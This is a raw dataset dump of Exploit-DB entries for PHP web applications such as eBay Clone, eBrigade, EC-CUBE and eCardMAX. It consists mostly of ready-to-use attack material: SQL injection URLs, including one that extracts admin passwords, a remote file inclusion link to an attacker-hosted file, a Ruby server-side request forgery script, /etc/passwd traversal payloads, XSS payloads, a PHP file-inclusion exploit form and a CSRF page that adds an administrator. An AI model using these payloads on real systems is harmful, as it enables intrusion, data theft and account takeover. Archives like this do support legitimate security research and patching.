deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11164
Description: Ebay Clone from clone2009 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-16
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : Ebay Clone from (clone2009.com<http://clone2009.com>)
Site : http://www.clone2009.com/

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com

Greetz : Zuka , GreyMen :)

*/

# 1st SQL injection :

File : gotourl.php , Get : id

[HOST]/[PATH]/gotourl.php?id=-1+union+select+version()--

=> You will be redirected to [HOST]/[PATH]/[VERSION]

Demo : http://server/gotourl.php?id=0+union+select+version()--

# 2nd SQL Injection :

File : product_desc.php  , Get : id

[HOST]/[PATH]/product_desc.php?id=[INJECTION]

Demo : http://server/product_desc.php?id=-35+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

# 3th SQL Injection :

File : view_items.php , Get : id

[HOST]/[PATH]/view_items.php?id=[INJECTION]

Demo : http://server/view_items.php?id=-62+union+select+1,2,3,4,5,6,7,8,9,10,0x3c666f6e7420636f6c6f723d[PII_REDACTED]3e[PII_REDACTED]494e4a454354494f4e3c2f666f6e743e,12,13,14,15,16,17,18--

# 4th SQL Injection :

File : bidhistory.php , Get : id

[HOST]/[PATH]/bidhistory.php?id=[INJECTION]

Demo : http://server/bidhistory.php?id=-45+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--

# 5th SQL Injection :

FIle : view_feedback.php , Get : id

[HOST]/[PATH]/view_feedback.php?id=[INJECTION]

Demo : http://server/view_feedback.php?id=-62+union+select+1,2,3,4,5,6,7,8,9,10,0x3c68313e484552453c2f68313e,12,13,14,15,16,17,18--
Exploit-DB #34216
Description: eBay Clone Script 2010 - 'showcategory.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/41200/info

eBay Clone Script 2010 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/showcategory.php?cid=[sqli]
Exploit-DB #15486
Description: eBlog 1.7 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-11-10
Author: Salvatore Fresta

Exploit:
eBlog 1.7 Multiple SQL Injection Vulnerabilities

 Name              eBlog
 Vendor            https://emuci.com
 Versions Affected 1.7

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-11-10

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

eBlog  is  a  free  script that can be used to manage and
maintain personal blogs.


II. DESCRIPTION
_______________

Some parameters are not sanitised before being  used  in
SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 

A) Multiple SQL Injection
_________________________

Input passed to "id", "keywords" and  to  some parameters
sent  via  POST  method, is not properly sanitised before
being  used  in SQL queries. This  can  be  exploited  to
manipulate  SQL  queries by injecting arbitrary SQL code.

Successful  exploitation,  only  in some  cases, requires
that magic_quotes_gpc is set to Off.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

The following sample code don't need requirements.

http://site/path/topics.php?action=ShowComment&id=-1 UNION SELECT 1,2,3,4,5,6,7%23

The following sample codes require  that magic_quotes_gpc
is set to Off:

http://site/path/pages.php?id=-1' UNION SELECT 1,2,3,4,1,6,7,1%23
http://site/path/topics.php?action=show&id=-1' UNION SELECT 1,2,3,4,5,6,7,8%23
http://site/path/sections.php?action=show&id=-1' UNION SELECT 1,2,3,4,5%23
http://site/path/search.php?keyword=%25' UNION SELECT 1,2,3,4,5,6,7,8%23


V. FIX
______

No fix.
Exploit-DB #2504
Description: eboli - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: DarkFig

Exploit:
#
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: eboli
# Download....: http://www.jhjgubbels.nl/eboli/eboli.tar.gz
# Poc.........: http://x.com/index.php?contentSpecial=http://hack.c/back.txt?&content
# Vuln.code...: Line 45, if(isset($_GET['contentSpecial']) && isset($_GET['content'])){
#                        include($_GET['contentSpecial']);

# milw0rm.com [2006-10-10]
Exploit-DB #46117
Description: eBrigade ERP 4.5 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-10
Author: Ihsan Sencan

Exploit:
# Exploit Title: eBrigade ERP 4.5 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://ebrigade.net/
# Software Link: https://netcologne.dl.sourceforge.net/project/ebrigade/ebrigade/eBrigade%204.5/ebrigade_4.5.zip
# Version: 4.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/pdf.php?pdf=DPS&id=[SQL]
# 

#/[PATH]/pdf.php

#30 $id=$_SESSION['id'];
#31 
#32 $badges = ""; $devis = "";
#33 
#34 $page =(isset($_GET['page'])?intval($_GET['page']):0);
#35 
#36 $doc = (isset($_POST['pdf'])?secure_input($dbc,$_POST['pdf']):(isset($_GET['pdf'])?secure_input($dbc,$_GET['pdf']):""));
#37 
#38 $devis = explode(",",(isset($_POST['id'])?secure_input($dbc,$_POST['id']):(isset($_GET['id'])?secure_input($dbc,$_GET['id']):"")));
#39 
#40 $badges = explode(",",(isset($_POST['SelectionMail'])?secure_input($dbc,$_POST['SelectionMail']):(isset($_GET['SelectionMail'])?secure_input($dbc,$_GET['SelectionMail']):"")));
#41 
	
GET /[PATH]/pdf.php?pdf=DPS&id=1%20%41%4e%44%28%53%45%4c%45%43%54%20%31%20%46%52%4fM%20%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4fNCA%54%28%28%53%45%4c%45%43%54%28%53%45%4c%45%43%54%20%43%4f%4e%43AT(C%41%53%54%28%44%41%54%41%42%41%53%45%28%29%20%41%53%20%43%48%41%52%29%2c%30%78%37%65%2c%30%78%34%39%36%38%37%33%36%31%36%65%35%33%36%35%36%65%36%33%36%31%36%65%29%29%20%46%52OM+%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4cES+W%48%45%52%45%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%44%41%54%41%42%41%53%45%28%29%20%4c%49%4d%49%54+%30%2c%31%29,%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4cES+GR%4f%55%50%20%42%59%20%78%29%61%29 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=qsaq65v2oalshif28tmsd7c261
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Thu, 10 Jan 2019 19:14:28 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Length: 875
Keep-Alive: timeout=5, max=60
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #40628
Description: EC-CUBE 2.12.6 - Server-Side Request Forgery
Type: webapps
Platform: php
Date: 2016-10-24
Author: Wadeek

Exploit:
# Exploit Title: EC-CUBE 2.12.6 Server-Side Request Forgery
# Date: 22/10/16
# Exploit Author: Wad Deek
# Vendor Homepage: http://en.ec-cube.net/
# Software Link: http://en.ec-cube.net/download/
# Version: 2.12.6en-p1
# Tested on: Xampp on Windows7
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools
##
##
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
require('mechanize')
agent = Mechanize.new()
agent.read_timeout = 3
agent.open_timeout = 3
agent.keep_alive = false
agent.redirect_ok = true
agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#===========================
urls = <<URLS
http://localhost/eccube/
URLS
urls.split("\n").each() do |url|
#===========================
#{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
def get(agent, target)
begin
response = agent.get(target)
code = response.code()
body = response.body()
rescue
else
return code, body
end
end
#{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
#}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
target = url+"test/api_test.php"
code, body = get(agent, target)
if(code == "200" && body.include?("EC-CUBE API TEST") == true)
begin
response = agent.post(
target,
{
"AccessKeyId" => [PII_REDACTED],
"arg_key0" => 1,
"arg_key1" => 1,
"arg_key2" => 1,
"arg_key3" => 1,
"arg_key4" => 1,
"arg_key5" => 1,
"arg_key6" => 1,
"arg_key7" => 1,
"arg_key8" => 1,
"arg_key9" => 1,
"arg_val0" => 1,
"arg_val1" => 1,
"arg_val2" => 1,
"arg_val3" => 1,
"arg_val4" => 1,
"arg_val5" => 1,
"arg_val6" => 1,
"arg_val7" => 1,
"arg_val8" => 1,
"arg_val9" => 1,
#????????????????????????????????????????????????????????????
"EndPoint" => "http://www.monip.org/index.php"+"?.jpg",
#????????????????????????????????????????????????????????????
"mode=" => "",
"Operation" => 1,
"SecretKey" => 1,
"Service" => 1,
"Signature" => 1,
"Timestamp" => 1,
"type" => "index.php"
})
body = response.body()
rescue
else
ip = response.body().scan(/IP : (.+?)</).join()
puts("[+] "+target+" >>>> monip.org >>>> "+ip)
end
end
#}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
#===========================
end
#===========================
Exploit-DB #12459
Description: ec21 clone 3.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
            EC21 Clone 3.0 (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 30-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: EC21 Clone
Vendor  	: http://www.alibabaclone.com/
Price		: $499 USD
Google Dork	: allinurl:offers_buy.php?id=
Overview	:

B2B trading Marketplace Script clone of alibaba Marketplace script is a 
wonderful solution to launch your own business to business and b2c site. 
Script is packed with lot of features to provide a very sound foundation 
to your trading portal site.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/offers_buy.php?id=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (ah payah c4uR dipeser cengeng bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #19769
Description: eCan 0.1 - Local File Disclosure
Type: webapps
Platform: php
Date: 2012-07-12
Author: GoLd_M

Exploit:
# Exploit Title: eCan v0.1 => Local File Disclosure Vulnerability
# Date: 11/07/2012
# Author: GoLd_M
# Vendor or Software Link: http://sourceforge.net/projects/ecan/
# Version: 1.03
# Category::  Local File Disclosure Vulnerability2
# Tested on: Xp SP 2
# Ex : 	[eCan v0.1]/show_source.php?fid=../../../../../../../../../../../etc/passwd
# See Test :  http://upload.traidnt.net/upfiles/hGq26645.jpg
Exploit-DB #34786
Description: eCardMAX - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-14
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43570/info

eCardMAX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eCardMAX 2006 and 2008 are vulnerable; other versions may also be affected. 

http://www.example.com/standard_2006/grabber.php?grab_url=1%3Cscript%3Ealert[PII_REDACTED]065)%3C/script%3E

http://www.example.com/standard_2006/members.php?cs_message=1%3C/textarea%3E%3CScRiPt%20%0A%0D%3Ealert[PII_REDACTED]16)%3B%3C/ScRiPt%3E

http://www.example.com/standard_2006/resource/games/memory/memory.php?step=show_ins&cat=1%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert[PII_REDACTED]285)%3B%3C/ScRiPt%3E

http://www.www.example.com/gold_2008/resource/games/ephotohunt/ephotohunt.php?step=show_ins&cat=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]59)%3B</ScRiPt>
Exploit-DB #42497
Description: eCardMAX 10.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: eCardMAX 10.5 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : https://www.ecardmax.com/
# Software Link: https://www.ecardmax.com/home/ecardmax/
# Demo: https://ecardmax.com/ecardmaxdemo/
# Version: 10.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# view-source:http://localhost/[PATH]/cards/sendcard/[SQL]
# 727+union+select+(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x64656465--+-/0x496873616e53656e63616e
# 
# http://localhost/[PATH]/category/[SQL]
# 11'+aND(/*!22223SELECT*/+0x30783331+/*!22223FROM*/+(/*!22223SELECT*/+cOUNT(*),/*!22223CONCAT*/((/*!22223sELECT*/(/*!22223sELECT*/+/*!22223CONCAT*/(cAST(dATABASE()+aS+/*!22223cHAR*/),0x7e,0x496873616E53656e63616e))+/*!22223fROM*/+iNFORMATION_sCHEMA.tABLES+/*!22223wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!22223rAND*/(0)*2))x+/*!22223fROM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!22223aNd*/+''='/0x496873616e53656e63616e
# 
# http://localhost/[PATH]/invitation/[SQL]
# 15'+aND(/*!00002SelEcT*/+0x30783331+/*!00002frOM*/+(/*!00002SelEcT*/+cOUNT(*),/*!00002cOnCaT*/((/*!00002sELECT*/(/*!00002sELECT*/+/*!00002cOnCaT*/(cAST(dATABASE()+aS+/*!00002cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00002wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00002rAND*/(0)*2))x+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00002aNd*/+''='/0x496873616e53656e63616e
# 
# Etc...
# # # # #
Exploit-DB #34871
Description: eCardMAX FormXP - 'survey_result.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-15
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44212/info

FormXP is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FormXP 2007 is vulnerable; other versions may also be affected. 

http://www.example.com/forms/survey_result.php?sid=1>&#039;><ScRiPt%20%0a%0d>alert[PII_REDACTED]12)%3B</ScRiPt>
Exploit-DB #29827
Description: eCardMAX HotEditor 4.0 - 'Keyboard.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-04-09
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/23377/info

eCardMAX HotEditor is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

HotEditor 4.0 is vulnerable; other versions may also be affected. This issue also affects versions that may be integrated into phpBB2, MyBB, Simple Machine Forum, and PunBB Forum.

<?php
/*
Vendor : Liz0ziM
Web    : www.expw0rm.com
Mail   : liz0@expw0rm.com
---------------------------------------
Vul. Code : keyboard.php line 3


        require_once "./vk_code/$first";
----------------------------------------
*/
?>

Hot Editor Local File &#304;nclude Exploit <a 
href="http://www.expw0rm.com">Expw0rm</a> By Liz0ziM<br>
<form method="POST">
Target Url: <input name="url" type="text"> example: 
http://victim.com/richedit/<br>
File :<input name="sec" type="text"> example : 
../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 
<br>
<input type=submit name="yolla" value="Send"><br>
<?
if(isset($_POST[yolla]))
{
$url=$_POST[url];
$sec=$_POST[sec];
$git=$url."/keyboard.php?first=".$sec;
$ac=fopen($git,"r") or die("acamadim");;

while(!feof($ac) )
{
$cek=fgets($ac,1024);
if(eregi("<html>",$cek)) { echo '<br>Finishim'; exit();}
echo '<pre>';
echo $cek;
echo '</pre>';
}
fclose($ac);
}
?>
Exploit-DB #48258
Description: ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-03-27
Author: Mustafa Emre Gül

Exploit:
# Exploit Title : ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)
# Product : ECK Hotel
# Version : 1.0-beta
# Date: 2020-03-26
# Software Download: https://sourceforge.net/projects/eckhotel/files/eck-hotel-v1.0-beta.zip/download
# Exploit Author: Mustafa Emre Gül
# Website: https://emregul.com.tr/
# Tested On : Win10 x64
# Description : Simple Hotel Management System.


PoC:
<!--Unauthenticated Create Admin User -->
<html>
  <body>
      <form action="localhost/index.php?module=user/user-add" method="POST">
      <input type="hidden" name="nama" value="meg" />
      <input type="hidden" name="id_user_role" value="1" />
      <input type="hidden" name="jabatan" value="meg" />
      <input type="hidden" name="nomor_telp" value="1" />
      <input type="hidden" name="username" value="meg" />
      <input type="hidden" name="password" value="meg" />
      <input type="hidden" name="user-add" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #12279
Description: eclime 1.1 - Bypass / Create and Download Backup
Type: webapps
Platform: php
Date: 2010-04-18
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : eclime v1.1 => by Pass / Creat and Download Backup Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                     
| # Dork     : Powered by eclime.com                                                                                                            
| # Tested on: windows SP2 Français V.(Pnx2 2.0)       
| # Bug      : Backup                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
------------------------------------------ 
eclime v1.1 (March 2010)
------------------------------------------
eclime is a free opensource smarty based shopping cart
build on osCommerce 2.2 solid engine, with many useful
contributions added.

------------------------------------------

http://127.0.0.1/eclime/admin/backup.php/login.php?action=backup

http://127.0.0.1/eclime/admin/backup.php/login.php?action=backupnow

to download buckup : http://127.0.0.1/eclime/admin/backup.php/login.php?action=download&file=db_comm[PII_REDACTED]2138.sql

db_comm[PII_REDACTED]2138.sql chang it to the name of the backup and you cant download it with IE i download it with opera 10.10 + Mozilla Firefox


Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net
------------------------------------------------------------------------------------------------------------------------